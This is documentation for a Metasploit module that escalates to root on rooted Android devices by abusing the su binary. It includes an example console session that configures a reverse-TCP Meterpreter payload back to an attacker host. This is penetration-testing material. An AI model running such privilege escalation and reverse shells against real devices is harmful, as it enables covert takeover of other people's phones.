## Vulnerable Application
|
|
|
|
This module uses the su binary present on rooted devices to run a payload as root.
|
|
|
|
A rooted Android device will contain a su binary (often linked with an application) that allows the user to run commands as root.
|
|
This module will use the su binary to execute a command stager as root. The command stager will write a payload binary to a
|
|
temporary directory, make it executable, execute it in the background, and finally delete the executable.
|
|
|
|
On most devices the su binary will pop-up a prompt on the device asking the user for permission.
|
|
|
|
This module will only work on *rooted* devices. An off the shelf Android device is unlikely to be rooted, however it's possible to root a device without losing the data.
|
|
Many devices can be rooted by flashing new firmware, however the existing data will be lost.
|
|
|
|
## Scenarios
|
|
|
|
You'll first need to obtain a session on the target device. To do this follow the instructions [here](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/payload/android/meterpreter/reverse_tcp.md)
|
|
|
|
Once the module is loaded, one simply needs to set the `SESSION` option and configure the handler.
|
|
An example session follows:
|
|
|
|
```
|
|
msf exploit(multi/handler) > sessions
|
|
|
|
Active sessions
|
|
===============
|
|
|
|
Id Name Type Information Connection
|
|
-- ---- ---- ----------- ----------
|
|
1 meterpreter dalvik/android u0_a80 @ localhost 192.168.0.176:4444 -> 192.168.0.107:46059 (192.168.0.107)
|
|
|
|
msf exploit(multi/handler) > use exploit/android/local/su_exec
|
|
msf exploit(android/local/su_exec) > set SESSION 1
|
|
SESSION => 1
|
|
msf exploit(android/local/su_exec) > set payload linux/aarch64/meterpreter/reverse_tcp
|
|
payload => linux/aarch64/meterpreter/reverse_tcp
|
|
msf exploit(android/local/su_exec) > set LHOST 192.168.0.176
|
|
LHOST => 192.168.0.176
|
|
msf exploit(android/local/su_exec) > set LPORT 4445
|
|
LPORT => 4445
|
|
msf exploit(android/local/su_exec) > run
|
|
|
|

```
|
|
|
|
Please not that in most cases you will have to manually confirm the Superuser prompt
|
|
on the device itself before the module completes. You can do `set WfsDelay 10` to
|
|
give yourself more time.
